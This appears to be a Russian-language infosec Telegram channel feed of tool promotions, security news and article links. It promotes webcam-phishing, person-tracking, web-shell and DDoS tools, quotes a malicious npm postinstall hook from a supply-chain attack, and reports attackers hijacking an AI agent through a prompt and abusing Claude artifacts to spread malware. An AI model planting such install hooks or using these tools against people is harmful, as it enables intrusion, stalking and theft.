-
Главный архив с лучшими материалами со всего интернета по ИБ и этичному хакингу. Реклама/сотрудничество: @One_Daniil Владелец: @awenft Мы на бирже: https://telega.in/c/searchack
😠 Инструменты OSINT
OSINT (Open Source Intelligence) — это поиск и анализ информации из открытых источников. Ниже представлен список наиболее эффективных инструментов, разбитых по категориям.
🔒 HellPot: как настроить «бесконечную ловушку» для вредоносных HTTP-ботов
В этой статье мы подробно рассмотрим, как HellPot помогает бороться с несанкционированными атаками, какие функции и возможности он предоставляет, а также как его настроить и использовать на вашем сервере.
— Готовы отправить ботов в виртуальный ад? Давайте разбираться, как это сделать с помощью HellPot.
🗄 Источник – линк.
// Не хакинг, а ИБ
🤖 Обнаружение защиты веб-приложений
WAFW00F – это инструмент для идентификации продуктов защиты веб-приложений (файерволов веб-приложений, WAF)
WAF (Web Application Firewall) – это система, которая устанавливается перед веб-сервером. Она помогает обнаружить и заблокировать различные виды атак на веб-приложения
📝 Подборка материалов по мобильной безопасности «Awesome Mobile Security»
— Здесь собраны материалы, которые могут быть полезны с практической точки зрения: из них можно узнать о новых способах атак на приложения, прочитать о новых уязвимостях, изучить, как работают механизмы операционной системы и т.д.
Для удобства все материалы, которые есть на русском языке, выделены в подпункты
🗄 Читать статью – линк.
// Не хакинг, а ИБ
⚡️РОЗЫГРЫШ В ЧЕСТЬ ОТКРЫТИЯ В MAX
Теперь наши каналы доступны не только здесь, но и на платформе MAX. В честь этого события разыгрываем три приза, которые усилят вашу защиту в сети.
ПРИЗОВОЙ ФОНД:
⚠️ 1 МЕСТО: YubiKey 5 Series
Физический ключ, который делает двухфакторную аутентификацию неуязвимой. Никакой фишинг и слив паролей не страшны, пока ключ у вас.
⚠️ 2 МЕСТО: SATOSHI VPN на 1 год
Полная анонимность и шифрование трафика. Ваши данные под защитой в любых сетях.
⚠️ 3 МЕСТО: Книга "Хакерская самооборона" (Андрей Жуков, 2026)
Актуальная новинка по активной обороне. Учитесь думать как хакер, чтобы защищаться от реальных угроз.
📎 УСЛОВИЯ ПРОСТЫЕ:
Быть подписанным на этот канал (где вы читаете пост).
Быть подписанным на все 4 канала в MAX по ссылкам ниже.
→ max.ru/becaps
→ max.ru/cyberins
→ max.ru/itbook_library
→ max.ru/nsis_cybersec
📌 Нажать кнопку "Участвую" под этим постом.
Итоги подведём ровно через 20 дней с помощью рандомайзера 28.03.26 14:00MSK.
❗️ Инструмент имитации DDoS-атак
DDoS-Ripper – инструмент для тестирования сети, который имитирует атаки Distributed Denial of Service (DDoS)
— Он генерирует высокие объёмы HTTP-запросов с одной машины с помощью нескольких параллельных потоков
DDoS-Ripper совместим с несколькими платформами, включая Linux, Windows, MacOS и Termux
🛡 Большое руководство по работе с Angie
— Этот цикл статей будет посвящен веб‑серверу Angie
Angie – это современный веб-сервер и обратный прокси с открытым исходным кодом, основанный на веб-сервере Nginx
Проект был инициирован в 2013 году компанией Angie Software с целью улучшить возможности Nginx, а также расширить его функциональность для большего удобства использования в корпоративных и облачных средах
Навигация по циклу:
🗄 Почему стоит переходить на Angie.
🗄 Установка Angie из пакетов и в докере.
🗄 Переезд с Nginx на Angie. Пошаговая инструкция.
🗄 Настройка location в Angie. Разделение динамических и статических запросов.
🗄 Перенаправления в Angie: return, rewrite и примеры их применения.
🗄 Сжатие текста в Angie: статика, динамика, производительность.
🗄 Серверное кэширование в Angie: тонкости настройки.
🗄 Настройка TLS в Angie: безопасность и скорость.
🗄 Настройка Angie в роли обратного HTTP-прокси.
🗄 Балансировка нагрузки для HTTP(S) в Angie.
🗄 Мониторинг Angie с помощью Console Light и API.
🗄 Балансировка и проксирование L4-трафика в Angie.
🗄 Клиентское кэширование в Angie.
🗄 Динамические группы проксируемых серверов в Angie.
🗄 Мониторинг Angie с Prometheus и Grafana.
🗄 Отказоустойчивый кластер Angie с VRRP и Keepalived.
🗄 Контроль доступа в Angie.
🗄 Аутентификация клиентов в Angie с помощью TLS-сертификатов.
🗄 Кастомизация Angie (njs, Lua, Perl).
🗄 Запуск CGI-скриптов в Angie.
🗄 Защита от DoS-атак в Angie стандартными модулями.
🗄 Защита от DoS-атак в Angie (дополнительные средства).
❗️ Веб-шелл для автоматического заражения сети
Weevely – это веб-шелл командной строки, динамически распространяемый по сети во время выполнения
Просто закиньте PHP скрипт, и программа обеспечит похожий на ssh терминал даже в ограниченном окружении
😈 Хакинг бытовой техники: от реверса стиралки к созданию открытого сервисного ПО
— Сегодня разберем доклад Hacking Washing Machines с конференции 39C3 и посмотрим, как мелкая бытовая неисправность привела к полноценному реверсу стиралки, а затем – к созданию свободной утилиты, которая заменяет закрытый фирменный софт для ремонта техники Miele
Доклад получился объемным, поэтому для удобства читателей он разделен на две части:
1. Первая про опыт исследования техники Miele
2. Второй про шину D-Bus как универсальную отмычку к экосистеме бренда BSH
🗄 Читать статью – линк.
🗄 Хакинг бытовой техники: одна шина, чтобы управлять всеми – линк.
// Не хакинг, а ИБ
🦺 В 2025 году из банкоматов похитили более 20 млн долларов
ФБР опубликовало бюллетень, в котором предупреждает о резком росте атак типа джекпоттинг (jackpotting) на банкоматы в США
⚠️ Только в 2025 году зафиксировано более 700 подобных инцидентов, а суммарный ущерб превысил 20 млн долларов
Суть джекпоттинга: злоумышленники получают физический доступ к банкомату, устанавливают на него вредоносное ПО, и малварь напрямую отдает команды модулю выдачи наличных
Обычно вся операция занимает считанные минуты, а финансовые организации и операторы банкоматов узнают о произошедшем, когда деньги уже похищены
✋ Шифрование метаданных в мессенджере: HMAC-SHA256 анонимные пары, timing obfuscation и отравление собственных логов
— В этой статье автор подробно объяснит инженерные решения, к которым пришёл в ходе защиты метаданных: от криптографических примитивов до С++ кода и SQL-схемы
А также рассмотрим, где подход имеет ограничения и чем отличается от того, что делают Signal и Tor
Содержание статьи:
1. Зачем вообще шифровать метаданные?
2. Модель угроз: что знает сервер
3. Архитектура: четыре уровня скрытности
4. HMAC-SHA256 Anonymous Pairs — ядро системы
5. Отравление собственных логов
6. Push-уведомления как канал утечки
7. Timing Obfuscation: случайные задержки против корреляционного анализа
8. Мердж настроек: дипломатия приватности
9. Хранение и production-реалии
10. Полная картина: что видит атакующий с root-доступом к серверу
11. Сравнение с аналогами: Signal, Tor, Matrix
12. Честные ограничения и что не работает
13. Заключение и ссылки
☁️ Phishing: инструмент захвата камеры с помощью фишинга
WishFish – это инструмент для взлома веб-камер или фронтальных камер с чужих компьютеров и телефонов
— Он позволяет генерировать различные фишинговые веб-ссылки, которые могут сфотографировать фронтальную камеру жертвы и дать целевой IP-адрес
🗄 Репозиторий на GitHub – линк.
// Не хакинг, а ИБ
🦣 Банкер Mamont атакует пользователей через Telegram
Исследователи зафиксировали новую волну распространения банковского трояна Mamont, нацеленного на Android-устройства
— Злоумышленники эксплуатируют актуальную повестку и маскируют вредонос под приложение для ускорения Telegram и обхода ограничений
Механика атаки проста: злоумышленники оставляют комментарии под публикациями в популярных Telegram-каналах и предлагают скачать APK, который якобы ускоряет работу замедленного мессенджера
Для этого жертву направляют в отдельный канал, откуда и предлагается загрузить файл, но вместо заявленной утилиты на устройство попадает вредонос
❗️ OSINT: собираем досье на человека
Trape – это инструмент для OSINT-анализа, который позволяет отслеживать активность пользователей в интернете
Основные возможности:
⏺Может определять местоположение пользователя с точностью до 99%, обходя запросы на разрешение в браузере
⏺Позволяет проводить фишинговые атаки и внедрять вредоносные скрипты, что полезно для тестирования уязвимостей
⏺Можно получить информацию о скорости интернета пользователя и устройствах в его сети
Хочешь в хакинг? Тогда читай мой канал. В нём ты узнаешь с чего начать, увидишь интересные кейсы из социальной инженерии, прочувствуешь все прелести пентеста на себе прочитаешь про забавные случаи из мира ИБ и посмеёшься над тупыми инфоцыгами.
🐈⬛Дорожная карта со стажёра до мидла
🐈⬛ О важности методологии в ИБ
🐈⬛ Переиграли мошенника и угнали его акк
Сфинкс. Подписаться.
☝️ Как расследовать кибератаку за 24 часа: пошаговое руководство
Первые 24 часа после обнаружения кибератаки — это критический период, который определяет успех всего расследования. В это время злоумышленники еще могут находиться в системе, следы не успели исчезнуть, а у экспертов есть максимальные шансы собрать качественные доказательства.
Статистика показывает, что 78% успешных расследований завершаются в первые 24 часа, когда команда реагирования действует.
Встройте LLM в разработку правильно ↗️
ИИ позволяет генерировать код быстрее. Но его бесконтрольное использование часто приводит к багам, уязвимостям и росту технического долга.
Как этого избежать и сделать процесс безопасным — расскажет эксперт Cloud.ru на вебинаре 17 марта.
Вы узнаете:
➡️как быстро запустить и контролировать генерацию кода с LLM в VS Code
➡️как выстроить правила, ограничения и стандарты при работе с LLM
➡️как настроить ранний контроль качества и безопасности через SonarQube
➡️как использовать MCP-серверы для качественного кода
📄 Краткая документация по командной строке
tldr-pages – это проект, который предоставляет краткую и понятную документацию командной строки для быстрого ознакомления
— Она призвана помочь пользователям быстро понять, как использовать команду, не продираясь через многословные страницы руководства (man pages)
🗄 Репозиторий на GitHub – линк.
🗄 tldr — альтернатива man с названием, говорящим за себя – линк.
🗄 TLDR pages — замена справке man, показывающая только самое важное – линк.
// Не хакинг, а ИБ
😂 Агент под прикрытием: как один заголовок-промпт на GitHub помог взломать 4000 компьютеров
17 февраля в репозитории npm была опубликована версия cline@2.3.0. С виду – ничего особенного: исполняемый файл был идентичен предыдущему байт в байт
Лишь в файле package.json притаилась одна лишняя строчка:
"postinstall": "npm install -g openclaw@latest"
😈 Сын правительственного подрядчика украл у Службы маршалов криптовалюту на 46 млн долларов
— Арестован сын правительственного подрядчика США, Джон Дагита, которого обвиняют в хищении более 46 млн долларов в криптовалюте у Службы маршалов
Джон Дагита – сын Дина Дагиты, президента и генерального директора компании Command Services & Support (CMDSS), базирующейся в Вирджинии
⚠️ С октября 2024 года эта фирма помогала Службе маршалов США управлять и распоряжаться конфискованными у преступников цифровыми активами
«В конце января 2026 года я раскрыл, как Джон украл более 46 млн долларов в конфискованных криптоактивах у правительства США, злоупотребив доступом к ресурсам CMDSS — компании его отца, у которой был контракт со Службой маршалов.
Затем Джон несколько раз дразнил меня через свой Telegram-канал и проводил dust-атаки на мой публичный кошелек, используя украденные средства. Ну и кто смеется теперь, Джон?» — написал известный блокчейн-аналитик ZachXBT
📝 Awesome Hacking — золотая жила для специалистов по безопасности
Awesome Hacking – это кураторская подборка из более чем 50 тематических списков ресурсов по информационной безопасности
Создатели собрали в одном месте:
⏺Инструменты для пентеста
⏺Обучающие материалы
⏺Примеры эксплойтов
⏺Лабораторные среды
⏺Исследования по безопасности
Проект насчитывает почти 100 тысяч звезд на GitHub и регулярно обновляется сообществом
🗄 Репозиторий на GitHub – линк.
// Не хакинг, а ИБ
😂 Налоговая служба Южной Кореи случайно раскрыла seed-фразу для изъятого криптокошелька
Национальная налоговая служба Южной Кореи (National Tax Service, NTS) отчиталась о результатах операции против 124 крупных неплательщиков налогов
🖥 Ваша повседневная шпаргалка по Matplotlib
— Предлагаем вашему вниманию полное руководство по визуализации на Python
Matplotlib – библиотека на Python для визуализации данных двумерной и трёхмерной графикой
Он имеет отличную поддержку множеством сред, таких, как веб-серверы приложений, графические библиотеки пользовательского интерфейса, Jupiter Notebook, iPython Notebook и оболочка iPython
Выкладывать еще материалы по программированию?
💊 – да
🗿 – не стоит
🧰 Набор инструментов для тестирования на проникновение
В данном репозитории собрали:
– Анонимное сокрытие инструментов
– Инструменты сбора информации
– Генераторы списков слов
– Инструменты беспроводной атаки
– Инструменты для внедрения SQL-запросов
– Инструменты фишинговой атаки
– Инструменты веб-атак
– Инструменты для последующей эксплуатации
– Инструменты судебной экспертизы
– Инструменты для создания полезной нагрузки
– Платформы для использования эксплойтов
– Обратный инжиниринг
– Сканирование веб-страниц
– Инструменты для проведения DDOS-атак
– Инструменты удаленного администратора
(RAT)
– Инструменты XSS-атаки
– Инструменты для стеганографии
Репозиторий постоянно обновляется!
🗄 Репозиторий на GitHub – линк.
// Не хакинг, а ИБ
📝 Шпаргалка по Web Security
Awesome OSCP – это тщательно подобранная коллекция ресурсов, инструментов, руководств и шпаргалок, специально созданная для помощи в подготовке к экзамену Offensive Security Certified Professional, но невероятно полезная и для любого пентестера.
Ключевые разделы:
— Подготовка и основы;
— Фундаментальные навыки;
— Enumeration и разведка;
— Эксплуатация;
— Пост-эксплуатация.
🐕 BloodHound — как увидеть скрытые угрозы в вашей Active Directory
Представьте, что вы администратор безопасности в крупной компании
В вашей Active Directory сотни пользователей, групп и компьютеров, связанных сложными отношениями
— Как найти уязвимости в этом лабиринте? Вот где на помощь приходит BloodHound – инструмент, который превращает хаос разрешений в понятную карту угроз
🗄 Читать статью – линк.
// Не хакинг, а ИБ
📄 X86/Win32 Reverse Engineering CheatSheet
— Шпаргалка содержит информацию о регистрах, инструкциях и терминах, связанных с реверс-инжинирингом программного обеспечения для архитектуры x86 и операционной системы Win32
// Не хакинг, а ИБ
🛡 Чем занимается DevSecOps? Обзор инструментов
— В материале мы разберемся, чем на практике занимается DevSecOps и какие инструменты используются в повседневной работе
⏺Поговорим об SSDLC и откуда в этой аббревиатуре появилось слово «Security», а также в какой момент проекту стоит задуматься о внедрении безопасного жизненного цикла разработки;
⏺Отдельно остановимся на том, как внедрять SSDLC без вреда для проекта и обсудим чек-лист оценки зрелости;
⏺Погрузимся в облако тегов DevSecOps, разберем ключевые практики и инструменты, а также поговорим о том, что делать после того, как все эти процессы уже внедрены.
🗄 Читать статью – линк.
// Не хакинг, а ИБ
👩💻 Nginx: шпаргалка
— Представляю вашему вниманию шпаргалку по основным секциям Nginx, которые следует держать под рукой
Nginx ("engine x") – это HTTP-сервер, обратный прокси сервер с поддержкой кеширования и балансировки нагрузки, TCP/UDP прокси-сервер, а также почтовый прокси-сервер
☁️ Хакеры используют артефакты Claude для распространения малвари для macOS
— Злоумышленники запустили ClickFix-кампанию, в которой используют публичные артефакты чат-бота Claude компании Anthropic и платную рекламу в поиске Google
Артефакты Claude – это публичный контент, созданный пользователем с помощью LLM
Это может быть некая инструкция, код, отрывок текста и так далее